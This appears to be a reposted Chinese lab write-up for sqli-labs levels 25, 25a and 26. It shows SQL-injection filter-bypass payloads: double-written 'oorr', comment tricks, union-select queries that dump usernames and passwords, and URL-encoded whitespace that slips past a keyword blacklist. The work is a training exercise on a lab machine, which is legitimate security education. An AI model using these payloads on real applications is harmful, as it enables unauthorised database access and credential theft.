当前位置:网站首页>网络安全——过滤绕过注入
网络安全——过滤绕过注入
2022-07-24 13:32:00 【Beluga】
综合渗透测试-过滤绕过注入
第一步,打开网络拓扑,启动实验虚拟机,分别查看虚拟机IP地址:
Kali Linux

Windows 7

第二步,使用Kali Linux访问目标靶机sqli-labs靶场页面,第25关:
http://172.16.1.200/sqli-labs/Less-25

第三步,对第25关进行渗透测试:
1)测试基础SQL注入语句:
http://172.16.1.200/sqli-labs/Less-25/?id=1' #

2)使用井号注释失败,改为尝试“--+”进行测试:
http://172.16.1.200/sqli-labs/Less-25/?id=1' --+

显示用户名和密码:Dumb。
3)尝试爆出当前表的列数:
?id=1' order by 5 --+

通过返回结果,我们猜测“order”变成了“der”,是由于后台过滤了“or”,替换为了空值。
4)由于“or”被WAF过滤,我们将“or”改为"oorr"尝试,这样WAF在过滤一个“or”之后,还剩余一个“or”,我们将该方法成为“双写”:
?id=1' oorrder by 5 --+

成功,但显示第5列不存在。
5)查询是否存在第四列:
?id=1' oorrder by 4--+

第四列不存在。
6)查询是否存在第三列

第三列存在,证明当前表中有三个字段。
7)先测试字段的相对显示位置:
?id=1' union select 1,2,3 --+

我们的联合注入没有生效,仍然显示了ID为1的用户的信息。
8)将id修改为一个不存在的id,重新尝试注入:
?id=-1' union select 1,2,3 --+

注入成功,第2和第3字段分别是用户名和密码。
9)获取当前使用的数据库名:
?id=-1' union select 1,2,database() --+

得到当前使用的数据库名:security
10)从users表中分别读取username(用户名),password(密码)的值:
id=-1' union select 1,2,group_concat(username,0x7e,passwoorrd) from users --+
这里需要注意的是,“password”中包括“or”,需要双写为“passwoorrd”。

成功得到用户名和密码。
第四步,访问sqli-labs的第25a关卡:
http://172.16.1.200/sqli-labs/Less-25a

第五步,对第25a关卡进行注入测试:
1)首先测试是否可以通过ID读取用户信息:
http://172.16.1.200/sqli-labs/Less-25a/?id=1

可以读取用户信息。
2)尝试爆出字段相对位置:
?id=-1' union select 1,2,3#

未显示结果。
3)查看25a关卡的源代码(位于C:\AppServ\www\sqli-labs\Less-25a\index.php):

第35行,SQL语句中并未存在单引号,证明这是一个数字型注入。
4)尝试去掉单引号进行联合查询注入:
?id=-1 union select 1,2,3#

注入成功。
5)获取当前使用的数据库名:
?id=-1 union select 1,2,database() #

得到当前的数据库名:security。
6)从users表中分别读取username(用户名),password(密码)的值:
id=-1 union select 1,2,group_concat(username,0x7e,passwoorrd) from users #

成功得到用户名和密码。
第六步,访问sqli-labs的第26关卡:
http://172.16.1.200/sqli-labs/Less-26
![]()
第七步,对第26关卡进行注入测试:
1)先测试ID是否显示正常:
http://172.16.1.200/sqli-labs/Less-26/?id=1

2)查看第26关卡源代码(位于C:\AppServ\www\sqli-labs\Less-26\index.php):

通过审计源代码发现,第57行的blacklist方法将常见的SQL语句全部过滤为空。
从上面的过滤机制我们可以发现对“or”、“and”、“/*”、“#”、“--”“/”等特殊符号都进行了过滤,此处对于and和or的绕过方法就不再多说了,这里我们讲述几种技巧:
绕空格:
%09 | TAB键(水平) |
%0a | 新建一行 |
%0c | 新的一页 |
%0d | return功能 |
%0b | TAB键(垂直) |
%a0 | 空格 |
3)获取当前数据库:
?id=0'%a0union%a0select%a02,database(),4%a0||%a0'1'='1

4)获得用户名和密码:
?id=0%27%a0union%a0select%a02,(select%a0group_concat(concat_ws(%27-%27,id,username,passwoorrd))%a0from%a0users),4%a0||%a0%271%27=%271

边栏推荐
- Group intelligence decision-making in an open environment: concepts, challenges and leading technologies
- 基于ABP实现DDD--实体创建和更新
- Mongodb uses mongotemplate operations to add, delete, modify, query, page, sort, aggregate (including embedded data), file upload and download
- Voice recognition based on MATLAB
- 简易订单管理系统小练习
- SSM hospital inpatient management system
- C代码规范
- Data + AI summit 2022 PPT download
- Research on data governance quality assurance
- Win10 log in with Microsoft account and open all programs by default with administrator privileges: 2020-12-14
猜你喜欢
随机推荐
Can communication protocol (I)
Introduction to single chip microcomputer
有好用的免费的redis客户端工具推荐么?
How to configure webrtc protocol for low latency playback on easycvr platform v2.5.0 and above?
为什么函数式接口 Comparator 中有 “两个抽象方法”?
Overview of multi view learning methods based on canonical correlation analysis
Sort method -- bubble sort (use an array to sort a string of numbers from large to small or from small to large)
Outdoor billboards cannot be hung up if you want! Guangzhou urban management department strengthens the safety management of outdoor advertising
汉字风格迁移篇---无监督排版传输
Realize a JS lottery?
H5py Quick Start Guide
vscode配置用户代码片段(包括删除方法)
About thread (3) thread synchronization
How can the easycvr platform access special devices without authentication?
SSM online campus album management platform
Make a fake! Science has exposed the academic misconduct of nature's heavy papers, which may mislead the world for 16 years
Experience sharing | how to use SaaS for enterprise knowledge management
Handler learning
ESP32ADC
Thread multithreading








